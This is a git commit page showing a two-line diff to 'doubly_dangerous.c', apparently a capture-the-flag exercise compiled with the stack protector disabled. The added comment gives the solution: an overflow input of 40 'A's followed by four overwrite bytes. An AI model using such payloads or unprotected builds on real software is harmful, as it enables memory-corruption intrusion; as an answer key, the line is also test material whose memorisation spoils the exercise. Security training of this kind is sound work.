add soln
This commit is contained in:
parent
fb9998139e
commit
906356dde3
1 changed files with 2 additions and 0 deletions
|
@ -1,6 +1,8 @@
|
||||||
//compile with:
|
//compile with:
|
||||||
//gcc -m32 -std=c99 -Wall -fno-stack-protector doubly_dangerous.c -o doubly_dangerous
|
//gcc -m32 -std=c99 -Wall -fno-stack-protector doubly_dangerous.c -o doubly_dangerous
|
||||||
|
|
||||||
|
//sol: input "A"*40+"\x00\x80\x34\x41"
|
||||||
|
|
||||||
#define _GNU_SOURCE
|
#define _GNU_SOURCE
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
Loading…
Reference in a new issue